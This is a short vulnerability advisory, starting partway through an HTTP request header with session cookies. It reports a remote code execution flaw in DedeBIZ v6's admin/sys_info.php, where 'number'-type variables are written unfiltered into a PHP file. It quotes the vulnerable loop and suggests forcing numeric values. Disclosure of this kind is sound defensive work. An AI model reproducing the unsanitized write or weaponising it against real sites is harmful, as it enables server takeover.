    Cookie:  PHPSESSID=bs4vp003uqilf3pj1al024egs2; DedeUserID=1; DedeUserID__ckMd5=6d2e834b19e2030a; DedeLoginTime=1657701678; DedeLoginTime__ckMd5=34d8cf865664d363
    Connection: close
    

**Details**

DedeBIZ v6.\* backend admin/sys\_info.php has the function of adding variables, but the filtering of variables of type 'number' is not strict when writing to the database and php files, resulting in remote code execution.

while ($row = $dsql\->GetArray()) {
    if ($row\['type'\] == 'number') {
        if ($row\['value'\] == '') $row\['value'\] = 0;
        fwrite($fp, "\\${$row\['varname'\]} = ".$row\['value'\].";\\r\\n");
    } else {
        ...
    }
}
                

**Suggestions for fixing**

For variables with vartype as 'number', check if it is a number or force it to be a number before writing to database and php files.

Tag

#php